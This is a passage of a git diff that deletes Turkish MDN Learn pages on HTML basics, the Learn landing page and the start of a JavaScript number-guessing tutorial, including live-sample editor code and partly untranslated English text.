- -<p>You can now open this file in a web browser to see what the rendered code looks like, and then edit the code and refresh the browser to see what the result is. Initially it will look like this:</p> - -<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">So in this exercise, you can edit the code locally on your computer, as outlined above, or you can edit it in the editable sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case). We'd like you to have a go at implementing the following steps:</p> - -<ul> - <li>Just below the opening tag of the {{htmlelement("body")}} element, add a main title for the document. This should be wrapped inside an <code><h1></code> opening tag and <code></h1></code> closing tag.</li> - <li>Edit the paragraph content to include some text about something you are interested in.</li> - <li>Make any important words stand out in bold by wrapping them inside a <code><strong></code> opening tag and <code></strong></code> closing tag.</li> - <li>Add a link to your paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">explained earlier in the article</a>.</li> - <li>Add an image to your document, below the paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">explained earlier in the article</a>. You'll get bonus points if you manage to link to a different image (either locally on your computer, or somewhere else on the web).</li> -</ul> - -<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p> - -<div class="hidden"> -<h6 id="Playable_code3">Playable code3</h6> - -<pre class="brush: html"><h2>Live output</h2> - -<div class="output" style="min-height: 50px;"> -</div> - -<h2>Editable code</h2> -<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> - -<textarea id="code" class="input" style="min-height: 100px;width: 95%"> - &lt;p&gt;This is my page&lt;/p&gt; -</textarea> - -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div></pre> - -<pre class="brush: css">html { - font-family: sans-serif; -} - -h1 { - color: blue; -} - -h2 { - font-size: 16px; -} - -.a11y-label { - margin: 0; - text-align: right; - font-size: 0.7rem; - width: 98%; -} - -img { - max-width: 100%; -} - -body { - margin: 10px; - background: #f5f9fa; -}</pre> - -<pre class="brush: js">var textarea = document.getElementById('code'); -var reset = document.getElementById('reset'); -var solution = document.getElementById('solution'); -var output = document.querySelector('.output'); -var code = textarea.value; -var userEntry = textarea.value; - -function updateCode() { - output.innerHTML = textarea.value; -} - -reset.addEventListener('click', function() { - textarea.value = code; - userEntry = textarea.value; - solutionEntry = htmlSolution; - solution.value = 'Show solution'; - updateCode(); -}); - -solution.addEventListener('click', function() { - if(solution.value === 'Show solution') { - textarea.value = solutionEntry; - solution.value = 'Hide solution'; - } else { - textarea.value = userEntry; - solution.value = 'Show solution'; - } - updateCode(); -}); - -var htmlSolution = '<h1>Some music</h1><p>I really enjoy <strong>playing the drums</strong>. One of my favorite drummers is Neal Peart, who\ plays in the band <a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article">Rush</a>.\ My favourite Rush album is currently <a href="http://www.deezer.com/album/942295">Moving Pictures</a>.</p>\ <img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg">'; -var solutionEntry = htmlSolution; - -textarea.addEventListener('input', updateCode); -window.addEventListener('load', updateCode); - -// stop tab key tabbing out of textarea and -// make it write a tab at the caret position instead - -textarea.onkeydown = function(e){ - if (e.keyCode === 9) { - e.preventDefault(); - insertAtCaret('\t'); - } - - if (e.keyCode === 27) { - textarea.blur(); - } -}; - -function insertAtCaret(text) { - var scrollPos = textarea.scrollTop; - var caretPos = textarea.selectionStart; - - var front = (textarea.value).substring(0, caretPos); - var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); - textarea.value = front + text + back; - caretPos = caretPos + text.length; - textarea.selectionStart = caretPos; - textarea.selectionEnd = caretPos; - textarea.focus(); - textarea.scrollTop = scrollPos; -} - -// Update the saved userCode every time the user updates the text area code - -textarea.onkeyup = function(){ - // We only want to save the state when the user code is being shown, - // not the solution, so that solution is not saved over the user code - if(solution.value === 'Show solution') { - userEntry = textarea.value; - } else { - solutionEntry = textarea.value; - } - - updateCode(); -};</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p> - -<h3 id="Whitespace_in_HTML">Whitespace in HTML</h3> - -<p>In the above examples you may have noticed that a lot of whitespace is included in the code listings — this is not necessary at all; the two following code snippets are equivalent:</p> - -<pre class="brush: html"><p>Dogs are silly.</p> - -<p>Dogs are - silly.</p></pre> - -<p>No matter how much whitespace you use (which can include space characters, but also line breaks), the HTML parser reduces each one down to a single space when rendering the code. So why use so much whitespace? The answer is readability — it is so much easier to understand what is going on in your code if you have it nicely formatted, and not just bunched up together in a big mess. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you what style of formatting you use (how many spaces for each level of indentation, for example), but you should consider formatting it.</p> - -<h2 id="Entity_references_Including_special_characters_in_HTML">Entity references: Including special characters in HTML</h2> - -<p>In HTML, the characters <code><</code>, <code>></code>,<code>"</code>,<code>'</code> and <code>&</code> are special characters. They are parts of the HTML syntax itself, so how do you include one of these characters in your text, for example if you really want to use an ampersand or less-than sign, and not have it interpreted as code as some browsers may do?</p> - -<p>We have to use character references — special codes that represent characters, and can be used in these exact circumstances. Each character reference is started with an ampersand (&), and ended by a semicolon (;).</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Literal character</th> - <th scope="col">Character reference equivalent</th> - </tr> - </thead> - <tbody> - <tr> - <td><</td> - <td>&lt;</td> - </tr> - <tr> - <td>></td> - <td>&gt;</td> - </tr> - <tr> - <td>"</td> - <td>&quot;</td> - </tr> - <tr> - <td>'</td> - <td>&apos;</td> - </tr> - <tr> - <td>&</td> - <td>&amp;</td> - </tr> - </tbody> -</table> - -<p>The character reference equivalent could be easily remembered because the words it uses can be seen as less than for '&lt;' , quotation for ' &quot; ' and similarly for each. Do checkout the link to the wikipedia page to find more about entity reference. In the below example, you can see two paragraphs, which are talking about web technologies:</p> - -<pre class="brush: html"><p>In HTML, you define a paragraph using the <p> element.</p> - -<p>In HTML, you define a paragraph using the &lt;p&gt; element.</p></pre> - -<p>In the live output below, you can see that the first paragraph has gone wrong, because the browser thinks that the second instance of <code><p></code> is starting a new paragraph. The second paragraph looks fine, because we have replaced the angle brackets with character references.</p> - -<p>{{ EmbedLiveSample('Entity_references_Including_special_characters_in_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p> - -<div class="note"> -<p><strong>Note</strong>: A chart of all the available HTML character entity references can be found on Wikipedia: <a class="external text" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a>. Note that you don't need to use entity references for any other symbols, as modern browsers will handle the actual symbols just fine as long as your HTML's <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Specifying_your_document's_character_encoding">character encoding is set to UTF-8</a>.</p> -</div> - -<h2 id="HTML_comments">HTML comments</h2> - -<p>In HTML, as with most programming languages, there is a mechanism available to write comments in the code — comments are ignored by the browser and invisible to the user, and their purpose is to allow you to include comments in the code to say how your code works, what the different parts of the code do, etc. This can be very useful if you return to a code base that you've not worked on for six months, and can't remember what you did — or if you hand your code over to someone else to work on.</p> - -<p>To turn a section of content inside your HTML file into a comment, you need to wrap it in the special markers <code><!--</code> and <code>--></code>, for example:</p> - -<pre class="brush: html"><p>I'm not inside a comment</p> - -<!-- <p>I am!</p> --></pre> - -<p>As you can see below, the first paragraph appears in the live output, but the second one doesn't.</p> - -<p>{{ EmbedLiveSample('HTML_comments', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p> - -<h2 id="Summary">Summary</h2> - -<p>You've reached the end of the article — we hope you enjoyed your tour of the very basics of HTML! At this point you should understand what the language looks like, how it works at a basic level, and be able to write a few elements and attributes. This is a perfect place to be right now, as in subsequent articles in the module we will go into some of the things you have already looked at in a lot more detail, and introduce some new features of the language. Stay tuned!</p> - -<div class="note"> -<p><strong>Note</strong>: At this point, as you start to learn more about HTML, you might also want to start to explore the basics of Cascading Style Sheets, or <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS is the language you use to style your web pages (e.g., changing the font or colors, or altering the page layout). HTML and CSS go very well together, as you'll soon discover.</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li> -</ul> - -<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> - -<div></div> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li> -</ul> diff --git a/files/tr/learn/html/introduction_to_html/index.html b/files/tr/learn/html/introduction_to_html/index.html deleted file mode 100644 index 55c70ec2fb..0000000000 --- a/files/tr/learn/html/introduction_to_html/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Introduction to HTML -slug: Learn/HTML/Introduction_to_HTML -tags: - - HTML - - NeedsContent - - NeedsUpdate -translation_of: Learn/HTML/Introduction_to_HTML -original_slug: Öğren/HTML/Introduction_to_HTML ---- -<p>HTML Özünde, bir belgede farklı anlamlar vermek için metin parçalarına uygulanabilen öğelerden oluşan oldukça basit bir dildir (bir paragraf mı? Madde işaretli bir liste mi? Masanın bir parçası mı?), bir belgeyi mantıksal bölümlere yapılandırın (bir başlığı var mı? Üç içerik sütunu mu? Navigasyon menüsü mü?) ve resim ve video gibi içeriği bir sayfaya gömün. Bu modül, bunlardan ilk ikisini tanıtacak ve HTML'yi anlamak için bilmeniz gereken temel kavramları ve sözdizimini tanıtacaktır.</p> - -<h2 id="Ön_koşullar">Ön koşullar</h2> - -<p>Bu makaleye okumaya başlamadan önce, daha önce herhangi bir HTML bilgisine ihtiyacınız yoktur, ancak bilgisayarları kullanma ve Web'i pasif olarak kullanma konusunda en azından temel bir aşinalık sahibi olmalısınız (yani, sadece ona bakarak, içeriği tüketerek.) Temel yazılımın kurulumunda ayrıntılı olarak ayarlanmış temel bir çalışma ortamına sahip olmanız ve dosyalarla uğraşırken ayrıntılı olarak dosyaların nasıl oluşturulacağını ve yönetileceğini anlamanız gerekir — her ikisi de 0'dan sona web geliştirmeye başlamanın bir parçasıdır.</p> - -<div class="note"> -<p><strong>Not </strong>: Kendi dosyalarınızı oluşturma imkanına sahip olmadığınız bir Bilgisayar/tablet/başka bir cihazda çalışıyorsanız, <a href="http://jsbin.com/">JSBin</a> veya <a href="https://glitch.com/">Glitch</a> gibi bir çevrimiçi kodlama programında kod örneklerinin çoğunu deneyebilirsiniz.</p> -</div> - -<h2 id="Rehberler">Rehberler</h2> - -<p>Bu makale, HTML'nin tüm temel teorisini size tanıtacak ve bazı becerileri test etmek için yeterli fırsat sağlayacak aşağıdaki yazıları içerir.</p> - -<dl> - <dt> - <h2 id="HTML_ile_başlarken"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML ile başlarken</a></h2> - - <h4 id="Başlamak_HTMLnin_mutlak_temellerini_kapsar-öğeleri_öznitelikleri_ve_duymuş_olabileceğiniz_diğer_tüm_önemli_terimleri_dile_uydukları_yerleri_tanımlarız._Ayrıca_bir_HTML_öğesinin_nasıl_yapılandırıldığını_tipik_bir_HTML_sayfasının_nasıl_yapılandırıldığını_ve_diğer_önemli_temel_dil_özelliklerini_açıklıyoruz._Yol_boyunca_ilginizi_çekmek_HTML_ile_bir_oyun_olacak!"><br> - Başlamak HTML'nin mutlak temellerini kapsar-öğeleri, öznitelikleri ve duymuş olabileceğiniz diğer tüm önemli terimleri dile uydukları yerleri tanımlarız. Ayrıca, bir HTML öğesinin nasıl yapılandırıldığını, tipik bir HTML sayfasının nasıl yapılandırıldığını ve diğer önemli temel dil özelliklerini açıklıyoruz. Yol boyunca, ilginizi çekmek HTML ile bir oyun olacak!</h4> - </dt> - <dt> - <h2 id="Kafamın_içinde_ne_var_HTMLde_meta_veriler"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Kafamın içinde ne var? HTML'de meta veriler</a></h2> - </dt> - <dt><br> - Bir HTML belgesinin başı, sayfa yüklendiğinde web tarayıcısında görüntülenmeyen kısımdır. Sayfa {{htmlelement("title")}}, {{glossary("CSS")}} bağlantıları (HTML içeriğinizi CSS ile stilize etmek istiyorsanız), özel faviconlara bağlantılar ve meta veriler gibi bilgileri içerir.)</dt> - <dd></dd> - <dt> - <h2 id="HTML_metin_temelleri"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML metin temelleri</a></h2> - - <h4 id="HTMLnin_ana_işlerinden_biri_tarayıcının_doğru_şekilde_nasıl_görüntüleneceğini_bilmesi_için_metin_anlamını_semantik_olarak_da_bilinir_vermektir._Bu_makalede_bir_metin_bloğunu_başlıklar_ve_paragraflar_yapısına_bölmek_kelimelere_vurguönem_eklemek_listeler_oluşturmak_ve_daha_fazlasını_yapmak_için_HTMLnin_nasıl_kullanılacağı_ele_alınmaktadır."><br> - HTML'nin ana işlerinden biri, tarayıcının doğru şekilde nasıl görüntüleneceğini bilmesi için metin anlamını (semantik olarak da bilinir) vermektir. Bu makalede, bir metin bloğunu başlıklar ve paragraflar yapısına bölmek, kelimelere vurgu/önem eklemek, listeler oluşturmak ve daha fazlasını yapmak için HTML'nin nasıl kullanılacağı ele alınmaktadır.</h4> - </dt> - <dd></dd> - <dt> - <h2 id="Köprüler_oluşturma"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Köprüler oluşturma</a></h2> - - <h4 id="Köprüler_gerçekten_önemlidir-Webi_bir_web_yapan_şeydir._Bu_makalede_bir_bağlantı_oluşturmak_için_gereken_sözdizimini_gösterir_ve_Bağlantı_en_iyi_yöntemleri_anlatılır."><br> - Köprüler gerçekten önemlidir-Web'i bir web yapan şeydir. Bu makalede, bir bağlantı oluşturmak için gereken sözdizimini gösterir ve Bağlantı en iyi yöntemleri anlatılır.</h4> - </dt> - <dt> - <h2 id="Gelişmiş_metin_biçimlendirme"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Gelişmiş metin biçimlendirme</a></h2> - </dt> - <dt><br> - HTML'de, <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a> makalesinde bulamadığımız metni biçimlendirmek için başka birçok öğe var. Buradaki unsurlar daha az bilinir, ancak yine de bilmek yararlıdır. Burada, alıntıları, açıklama listelerini, bilgisayar kodunu ve diğer ilgili metinleri, alt simge ve Üst Simge, iletişim bilgilerini ve daha fazlasını işaretleme hakkında bilgi edineceksiniz.</dt> - <dd></dd> - <dt> - <h2 id="Belge_ve_web_sitesi_yapısı"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Belge ve web sitesi yapısı</a></h2> - </dt> - <dt><br> - Sayfanızın tek tek bölümlerini ("paragraf" veya "resim" gibi) tanımlamanın yanı sıra, HTML web sitenizin alanlarını ("başlık", "gezinme menüsü", "ana içerik sütunu"gibi) tanımlamak için de kullanılır.) Bu makale, temel bir web sitesi yapısını nasıl planlayacağınızı ve bu yapıyı temsil etmek için HTML'yi nasıl yazacağınızı inceler.</dt> - <dd></dd> - <dt> - <h2 id="HTML_hata_ayıklama"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">HTML hata ayıklama</a></h2> - </dt> - <dt><br> - HTML yazmak iyidir, ancak bir şeyler ters giderse ve koddaki hatanın nerede olduğunu çözemezseniz ne olur? Bu makale size yardımcı olabilecek bazı araçları tanıtacaktır.</dt> -</dl> - -<h2 id="Değerlendirmeler">Değerlendirmeler</h2> - -<p>Aşağıdaki değerlendirmeler, yukarıdaki kılavuzlarda yer alan HTML temellerini anlamanızı test edecektir.</p> - -<h4 id="Bir_mektubu_işaretleme"><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Bir mektubu işaretleme</a></h4> - -<p><br> - Hepimiz er ya da geç bir mektup yazmayı öğreniyoruz; aynı zamanda metin biçimlendirme becerilerimizi test etmek için yararlı bir örnektir! Bu nedenle, bu değerlendirmede işaretlemek için bir mektup verilecektir.</p> - -<h4 id="İçerik_sayfasını_yapılandırma"><br> - <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">İçerik sayfasını yapılandırma</a></h4> - -<p><br> - Bu değerlendirme, üstbilgi, altbilgi, gezinme menüsü, ana içerik ve Kenar Çubuğu içeren basit bir içerik sayfasını yapılandırmak için HTML'yi kullanma yeteneğinizi test eder.</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<dl> - <dt> - <h4 id="Web_okuryazarlığı_temelleri_1"><a href="https://teach.mozilla.org/activities/web-lit-basics/">Web okuryazarlığı temelleri 1</a></h4> - </dt> - <dt><br> - HTML modülüne giriş bölümünde konuşulan becerilerin çoğunu araştıran ve test eden mükemmel bir Mozilla Vakfı kursu. Öğrenciler bu altı bölümlü modülde çevrimiçi okuma, yazma ve katılım hakkında bilgi edinirler. Üretim ve işbirliği yoluyla Web'in temellerini keşfedin.</dt> -</dl> diff --git a/files/tr/learn/index.html b/files/tr/learn/index.html deleted file mode 100644 index 466edae5b2..0000000000 --- a/files/tr/learn/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Web Programlama Öğren -slug: Learn -tags: - - öğren -translation_of: Learn -original_slug: Öğren ---- -<div class="summary"> -<p>{{LearnSidebar}}</p> - -<p>MDN öğrenme alanına hoşgeldiniz. Buradaki bir dizi makale tamamen yeni başlayanlar için web sayfaları kodlayabilmeleri için gerekli temel bilgileri vermeyi amaçlamaktadır.</p> - -<p>Bu alanın amacı okuyucuyu "başlangıç" seviyesinden "uzman" seviyesine ulaştırmak değildir, ama "başlangıç" seviyesinden "anlama rahatlığı" seviyesine taşımaktır. Sonrasında, <a href="https://developer.mozilla.org/en-US/">MDN kaynağı</a>nın geriye kalanından ya da ön bilgi gerektiren diğer orta veya ileri seviye kaynaklardan öğrenerek kendi yolunuzu çizebilirsiniz.</p> - -<p>Bu alanda tamamen yeni iseniz, web geliştiriciliği biraz zorlayıcı olabilir. Bu nedenle, elinizden tutup, konuları doğru biçimde öğrenmeniz ve kendinizi rahat hissetmeniz için gerekli ayrıntıları sağlayacağız. Web geliştirmeyi öğrenen bir öğrenci (kendi kendine ya da sınıf içinde öğrenen) , kaynak araştıran bir öğretmen, amatör, ya da sadece web teknolojileri hakkında daha fazla bilgi edinmek isteyen biri olsanız da kendinizi evinizde hissetmelisiniz.</p> - -<hr> -<h2 id="Yenilikler_Neler">Yenilikler Neler?</h2> - -<p>Öğrenme alanındaki içerik düzenli olarak eklenmektedir. Yapılan değişikleri takip edebilmeniz için yayın notları kısmını başlattık. — sıksık tekrar gelip kontrol etmenizi öneririz!</p> - -<p>Eğer eksik olduğunuz düşündüğünüz, ya da işlenmediğini düşündüğünüz herhangi bir konu hakkında sorularınız varsa <a href="https://discourse.mozilla.org/c/mdn">Discourse forumu</a>ndan soru sorabilirsiniz.</p> - -<h3 id="Front-end_web_geliştiricisi_mi_olmak_istiyorsunuz">Front-end web geliştiricisi mi olmak istiyorsunuz?</h3> - -<p>Hedefinize ulaşmanız için gereken önemli tüm bilgileri içeren kursu oluşturduk.</p> - -<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Hadi Başlayalım</a></p> -</div> - -<h2 id="Nereden_Başlamalı">Nereden Başlamalı?</h2> - -<ul class="card-grid"> - <li><span>Tamamen Yeniyim:</span> - - <p>Eğer web geliştirimine tamamen yeni iseniz <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Web geliştirmeye başlangıç </a>bölümünden pratik bir şekilde başlangıç yapabilirsiniz.</p> - </li> - <li><span>Bazı Sorularım Var!</span> - <p>Eğer, aklınızda bir takım sorular varsa ve bunlara cevap arıyorsanız <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions">Genel sorular</a> kısmına göz atabilirsiniz.</p> - </li> - <li><span>Temelerin Ötesinde:</span> - <p>Eğer temeller haknda yeterince bilgi sahibi iseniz skıonraki adım {{glossary("HTML")}} ve {{glossary("CSS")}} konularını öğrenmek olabilir. Bunun için <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'e Giriş Bölümü</a> ile başlayıp <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/First_steps">CSS İlk Adımlar</a> etkinliği ile devam edebilirsiniz.</p> - </li> - <li><span>Betik Kodlamaya Geçiş:</span> - <p>Eğer HTML ve CSS ile sorunlarınızı halletiniz ise ya da daha çok kodlama ile ilgili iseniz, muhtemelen {{glossary("JavaScript")}} ya da sunucu taraflı kodlamaya geçebilirsiniz. If you are comfortable with HTML and CSS already, or you are mainly interested in coding, you'll want to move on to {{glossary("JavaScript")}} or server-side development. Begin with our JavaScript first steps and Server-side first steps modules.</p> - </li> -</ul> - -<div class="note"> -<p><strong>Not</strong>: Gelecekte daha fazla öğrenme yolu yayınlamayı düşünüyoruz. Örneğin spesifik gelişmiş teknikler öğrenecek deneyimli geliştiriciler, Web'de yeni olan geliştiriciler veya tasarım tekniklerini öğrenmek isteyen insanlar için.</p> -</div> - -<p>{{LearnBox({"title":"Hızlı öğrenme: Kelime hazinesi"})}}</p> - -<h2 id="Diğer_insanlarla_birlikte_öğren">Diğer insanlarla birlikte öğren</h2> - -<p>Eğer bir sorunuz varsa veya halen ne yapmanız gerektiğini merak ediyorsanız, Mozilla size yardım etmekten mutluluk duyacak akıl hocaları ve ögretmenler içeren web tutkunlarından oluşan global bir topluluktur. Onlarla WebMaker aracılığıyla iletişim kurun:</p> - -<ul> - <li><a href="http://discourse.webmaker.org/" rel="external">Discourse forum</a>'da akıl hocaları ve öğretmenlerle tanışın ve iletişim kurun.</li> - <li><a href="https://events.webmaker.org/">Etkinlikleri bulun</a> ve Web'i müthiş insanlarla beraber öğrenin.</li> -</ul> - -<h2 id="Bildiklerini_paylaş">Bildiklerini paylaş</h2> - -<p>Bütün bu öğrenme alanı katkıda bulunan insanlar tarafından oluşturulmuştur. Yeni başlayan, öğretmen veya yetenekli bir web geliştirici de olsanız, size takımımızda ihtiyacımız var. Eğer ilgileniyorsanız, <a href="/en-US/Learn/How_to_contribute">nasıl yardım edebilirim</a>'e bir göz atın, ve sizi bizimle bizimle sohbet etmeniz için <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">mail listelerimize</a> ve <a href="/en-US/docs/MDN/Community#Get_into_IRC">IRC kanallarına</a> davet ediyoruz. :)</p> - -<dl> - <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a> </dt> - <dd>Rehberlik ve proje tabanlı öğrenim ile teknoloji becerilerini öğrenmek için ücretsiz ve açık kurslar</dd> -</dl> - -<h2 id="Subnav">Subnav</h2> - -<ol> - <li><a href="/en-US/Learn/Getting_started_with_the_web">Getting started with the web</a></li> - <li><a href="/en-US/Learn/Skills">Learn the web</a> - <ol> - <li><a href="https://webmaker.org/en-US/literacy" rel="external">Web Literacy Map</a></li> - <li><a href="/en-US/Learn/Web_Mechanics">Web mechanics</a></li> - <li><a href="/en-US/Learn/Infrastructure">Infrastructure</a></li> - <li><a href="/en-US/Learn/Coding-Scripting">Coding & Scripting</a></li> - <li><a href="/en-US/Learn/Design_and_Accessibility">Design & Accessibility</a></li> - <li><a href="/en-US/Learn/Composing_for_the_web">Writing & planning</a></li> - </ol> - </li> - <li><a href="#">Learn technologies</a> - <ol> - <li><a href="/en-US/Learn/HTML">HTML</a></li> - <li><a href="/en-US/Learn/CSS">CSS</a></li> - <li><a href="/en-US/Learn/JavaScript">JavaScript</a></li> - <li><a href="/en-US/Learn/Python">Python</a></li> - </ol> - </li> - <li><a href="/en-US/Learn/tutorial">Learning tutorials</a> - <ol> - <li><a href="/en-US/Learn/tutorial/How_to_build_a_web_site">How to build a web site?</a></li> - <li><a href="/en-US/Learn/tutorial/Information_Security_Basics">Information security basics</a></li> - </ol> - </li> - <li><a href="http://weblitmapper.webmakerprototypes.org/">Learning resources</a></li> - <li><a href="/en-US/Learn/help">Getting help</a> - <ol> - <li><a href="/en-US/Learn/FAQ">FAQ</a></li> - <li><a href="/en-US/docs/Glossary">Glossary</a></li> - <li><a href="http://discourse.webmakerprototypes.org/" rel="external">Ask your questions</a></li> - <li><a href="https://events.webmaker.org/" rel="external">Meet teachers and mentors</a></li> - </ol> - </li> - <li><a href="/en-US/Learn/How_to_contribute">How to contribute</a></li> -</ol> diff --git a/files/tr/learn/javascript/first_steps/a_first_splash/index.html b/files/tr/learn/javascript/first_steps/a_first_splash/index.html deleted file mode 100644 index 1ef591995a..0000000000 --- a/files/tr/learn/javascript/first_steps/a_first_splash/index.html +++ /dev/null @@ -1,601 +0,0 @@ ---- -title: Javascript'e ilk giriş -slug: Learn/JavaScript/First_steps/A_first_splash -translation_of: Learn/JavaScript/First_steps/A_first_splash -original_slug: Öğren/JavaScript/First_steps/Javascripte_giris ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div> - -<p class="summary">Artık JavaScript teorisi ve onunla neler yapabileceğiniz hakkında bir şeyler öğrendiniz, tamamen pratik bir öğretici aracılığıyla size JavaScript'in temel özellikleri hakkında hızlandırılmış bir kurs vereceğiz. Burada adım adım basit bir "Sayıyı tahmin et" oyunu oluşturacaksınız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td>Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what JavaScript is.</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To have a first bit of experience at writing some JavaScript, and gain at least a basic understanding of what writing a JavaScript program involves.</td> - </tr> - </tbody> -</table> - -<p>You won't be expected to understand all of the code in detail immediately — we just want to introduce you to the high-level concepts for now, and give you an idea of how JavaScript (and other programming languages) work. In subsequent articles, you'll revisit all these features in a lot more detail!</p> - -<div class="note"> -<p>Note: Many of the code features you'll see in JavaScript are the same as in other programming languages — functions, loops, etc. The code syntax looks different, but the concepts are still largely the same.</p> -</div> - -<h2 id="Thinking_like_a_programmer">Thinking like a programmer</h2> - -<p>One of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. You need to start thinking like a programmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together.</p> - -<p>This requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creativity. The more you code, the better you'll get at it. We can't promise that you'll develop "programmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a programmer throughout the course.</p> - -<p>With that in mind, let's look at the example we'll be building up in this article, and review the general process of dissecting it into tangible tasks.</p> - -<h2 id="Example_—_Guess_the_number_game">Example — Guess the number game</h2> - -<p>In this article we'll show you how to build up the simple game you can see below:</p> - -<div class="hidden"> -<h6 id="Top_hidden_code">Top hidden code</h6> - -<pre class="brush: html notranslate"><!DOCTYPE html> -<html> - -<head> - <meta charset="utf-8"> - <title>Number guessing game</title> - <style> - html { - font-family: sans-serif; - } - - body { - width: 50%; - max-width: 800px; - min-width: 480px; - margin: 0 auto; - } - - .lastResult { - color: white; - padding: 3px; - } - </style> -</head> - -<body> - <h1>Number guessing game</h1> - <p>We have selected a random number between 1 and 100. See if you can guess it in 10 turns or fewer. We'll tell you if your guess was too high or too low.</p> - <div class="form"> <label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> <input type="submit" value="Submit guess" class="guessSubmit"> </div> - <div class="resultParas"> - <p class="guesses"></p> - <p class="lastResult"></p> - <p class="lowOrHi"></p> - </div> -<script> - // Your JavaScript goes here - let randomNumber = Math.floor(Math.random() * 100) + 1; - const guesses = document.querySelector('.guesses'); - const lastResult = document.querySelector('.lastResult'); - const lowOrHi = document.querySelector('.lowOrHi'); - const guessSubmit = document.querySelector('.guessSubmit'); - const guessField = document.querySelector('.guessField'); - let guessCount = 1; - let resetButton; - - function checkGuess() { - let userGuess = Number(guessField.value); - if (guessCount === 1) { - guesses.textContent = 'Previous guesses: '; - } - - guesses.textContent += userGuess + ' '; - - if (userGuess === randomNumber) { - lastResult.textContent 